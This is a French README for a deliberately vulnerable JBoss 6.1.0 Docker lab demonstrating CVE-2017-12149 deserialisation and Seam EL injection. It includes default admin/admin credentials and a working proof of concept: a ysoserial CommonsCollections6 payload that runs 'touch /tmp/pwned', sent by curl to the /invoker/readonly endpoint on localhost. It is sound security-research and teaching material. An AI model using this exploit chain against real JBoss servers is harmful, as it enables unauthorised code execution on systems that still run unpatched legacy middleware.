
Laboratoire de recherche conteneurisé JBoss AS 6.1.0 pour démontrer les vulnérabilités de désérialisation Java (CVE-2017-12149) et d'injection EL JBoss Seam, avec des étapes de vérification d'exploitation préconfigurées.
De nombreuses industries critiques (banque, santé et fabrication) dépendent de middlewares hérités conçus spécifiquement pour fonctionner sur JBoss 5 ou 6. Parce que ces applications sont souvent trop fragiles pour migrer vers des versions modernes de WildFly (le successeur de JBoss), les organisations choisissent de les « air-gapper » ou de les cacher derrière des VPN plutôt que de les corriger. Lorsque ces défenses périmétriques échouent, la vulnérabilité est toujours là, active et non corrigée.
Ce dépôt fournit un environnement conteneurisé du serveur d'applications JBoss 6.1.0 spécialement configuré pour la recherche en sécurité et la vérification de vulnérabilités. Il est conçu pour démontrer les failles de désérialisation Java et d'injection JBoss Seam EL.
Pour garantir que les identifiants et configurations personnalisés sont correctement appliqués, construisez le conteneur depuis le début :
docker-compose build --no-cache
docker-compose up -d
Console JBoss : http://localhost:8080/admin-console/
Nom d'utilisateur : admin
Mot de passe : admin
Vulnérabilités vérifiées
Le chemin d'exploitation le plus fiable dans cet environnement est via le HTTPServerILServlet situé à /invoker/readonly.
Étapes de vérification :
Générez une charge utile en utilisant ysoserial pour créer un fichier dans /tmp :
java -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/pwned" > poc.ser
Envoyez la charge utile binaire via curl :
curl -v -X POST --data-binary @poc.ser http://localhost:8080/invoker/readonly
Confirmez que l'exploit a fonctionné :
docker exec -it jboss-custom-lab ls /tmp/pwned
Avertissement de sécurité
Cet environnement est intentionnellement vulnérable. Il contient des logiciels non corrigés en fin de vie.
NE DÉPLOYEZ PAS ceci sur un serveur accessible au public.
N'UTILISEZ PAS ces outils sur des systèmes pour lesquels vous n'avez pas d'autorisation explicite de test.
Développé à des fins éducatives et de recherche en sécurité.
Dépendances : https://github.com/frohoff/ysoserial